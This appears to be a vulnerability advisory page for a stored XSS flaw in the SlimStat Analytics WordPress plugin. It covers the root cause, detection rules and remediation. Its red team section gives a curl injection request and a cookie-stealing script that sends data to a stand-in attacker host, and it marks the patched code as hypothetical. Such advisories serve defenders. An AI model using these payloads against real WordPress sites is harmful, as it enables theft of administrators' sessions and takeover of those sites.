CVE-2025-15055
Executive Summary
CVE-2025-15055 is a Stored Cross-Site Scripting (XSS) vulnerability in the SlimStat Analytics plugin for WordPress, affecting all versions up to and including 5.3.4. The flaw resides in insufficient sanitization of the notes and resource parameters, allowing unauthenticated attackers to inject arbitrary JavaScript. When an administrator views the Recent Custom Events report, the injected script executes in their browser session, potentially leading to session hijacking, data exfiltration, or further compromise of the WordPress instance.
This vulnerability is particularly dangerous because it requires no authentication and targets the administrative interface, making it a high-priority threat for any site using the plugin. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the lack of a patch increases risk over time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This is a WordPress plugin vulnerability. The attack surface is the SlimStat Analytics plugin itself, not the underlying web server (Apache/Nginx). Administrators must ensure the plugin is removed or hardened until a patch is released.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 7.2 (High)
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: None (PR:N) – unauthenticated.
- User Interaction: Required (UI:R) – admin must view the report.
- Scope: Changed (S:C) – injected script can affect resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – limited data exposure.
- Integrity Impact: Low (I:L) – limited modification capability.
- Availability Impact: None (A:N) – no denial of service.
Threat Level: High. The combination of unauthenticated access and stored XSS in the admin panel makes this a critical risk for WordPress sites using SlimStat Analytics.
Deep Dive & Mechanics
The vulnerability exists in the handling of custom event data within the SlimStat Analytics plugin. When a user (even unauthenticated) triggers a custom event, the plugin stores the notes and resource parameters in the database. These parameters are not properly sanitized or escaped before being rendered in the Recent Custom Events report accessible to administrators.
Attack Flow:
- An attacker sends a POST request to the WordPress site with malicious JavaScript in the
notesorresourceparameter (e.g., via a custom event endpoint). - The plugin stores this payload in the database without sanitization.
- An administrator navigates to the Recent Custom Events report.
- The stored payload is rendered in the admin’s browser, executing the injected script.
- The script can steal session cookies, perform actions on behalf of the admin, or redirect to malicious sites.
Root Cause: The plugin uses $_REQUEST['notes'] and $_REQUEST['resource'] without applying esc_html() or wp_kses() before outputting in the admin panel. The stored data is not validated for HTML/JavaScript content.
Vulnerable vs. Patched Code
Since no patch is available, the following shows the vulnerable code pattern and a hypothetical fix.
Vulnerable Code (wp-slimstat/admin/view/reports.php):
<?php
// Vulnerable: direct output without escaping
echo '<td>' . $event['notes'] . '</td>';
echo '<td>' . $event['resource'] . '</td>';
?>
Patched Code (Hypothetical Fix):
<?php
// Patched: escape output
echo '<td>' . esc_html( $event['notes'] ) . '</td>';
echo '<td>' . esc_html( $event['resource'] ) . '</td>';
?>
The fix applies esc_html() to convert special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with SlimStat Analytics <= 5.3.4 active.
- Ability to send HTTP requests to the site (no authentication required).
Exploit Steps:
- Identify the custom event endpoint (typically
/wp-admin/admin-ajax.phpwith actionslimstat_track_event). - Craft a payload with malicious JavaScript in the
notesparameter. - Send the request using
curlor a script.
Example Payload (curl):
curl -X POST http://target.com/wp-admin/admin-ajax.php \
-d "action=slimstat_track_event¬es=<script>alert('XSS')</script>&resource=test"
Advanced Payload (session theft):
<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>
Expected Result: When an admin views the Recent Custom Events report, the script executes, sending the admin’s session cookie to the attacker.
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual POST requests to
admin-ajax.phpwithaction=slimstat_track_eventcontaining script tags. - Check the
wp_slimstat_eventsdatabase table for suspiciousnotesorresourceentries.
Hardening:
- Remove or disable the SlimStat Analytics plugin until a patch is released.
- Implement a Web Application Firewall (WAF) rule to block requests containing
<script>innotesorresourceparameters. - Restrict access to the admin panel via IP whitelisting or VPN.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpwithaction=slimstat_track_eventandnotesorresourcecontaining HTML/JavaScript. - Outbound connections to attacker-controlled domains from the WordPress admin interface.
- POST requests to
Host IOCs:
- Entries in the
wp_slimstat_eventstable withnotesorresourcefields containing<script>tags. - Unexpected JavaScript files or iframes in the admin panel’s HTML source.
- Entries in the
File IOCs:
- Modified
wp-slimstat/admin/view/reports.php(if attacker gains write access).
- Modified
Detection Engineering
YARA Rule
rule SlimStat_XSS_Stored {
meta:
description = "Detects stored XSS payloads in SlimStat Analytics notes/resource fields"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-15055"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$slimstat_table = /wp_slimstat_events/
condition:
$slimstat_table and $xss_payload
}
Sigma Rule
title: SlimStat Analytics Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-15055 via stored XSS in SlimStat Analytics
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri: '/wp-admin/admin-ajax.php'
cs-uri-query: 'action=slimstat_track_event'
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in notes (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-15055 SlimStat Analytics Stored XSS Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/admin-ajax.php"; http_uri;
content:"action=slimstat_track_event"; http_client_body;
content:"<script"; http_client_body;
sid:1000001;
rev:1;
reference:cve,2025-15055;
classtype:web-application-attack;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin: Deactivate and delete the SlimStat Analytics plugin from all WordPress installations.
- Scan for compromise: Check the
wp_slimstat_eventstable for any suspicious entries and remove them. - Rotate admin credentials: If any admin session may have been compromised, force password resets.
Long-Term Mitigation:
- Monitor the plugin’s repository for a patched version (e.g., 5.3.5 or higher).
- Implement a Content Security Policy (CSP) header to block inline scripts in the admin panel.
- Use a WordPress security plugin (e.g., Wordfence) to add virtual patching for known XSS vectors.
Workaround (if plugin must remain active):
- Add a custom filter to sanitize
notesandresourcebefore storage:
add_filter( 'slimstat_track_event_data', function( $data ) {
$data['notes'] = sanitize_text_field( $data['notes'] );
$data['resource'] = sanitize_text_field( $data['resource'] );
return $data;
} );
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.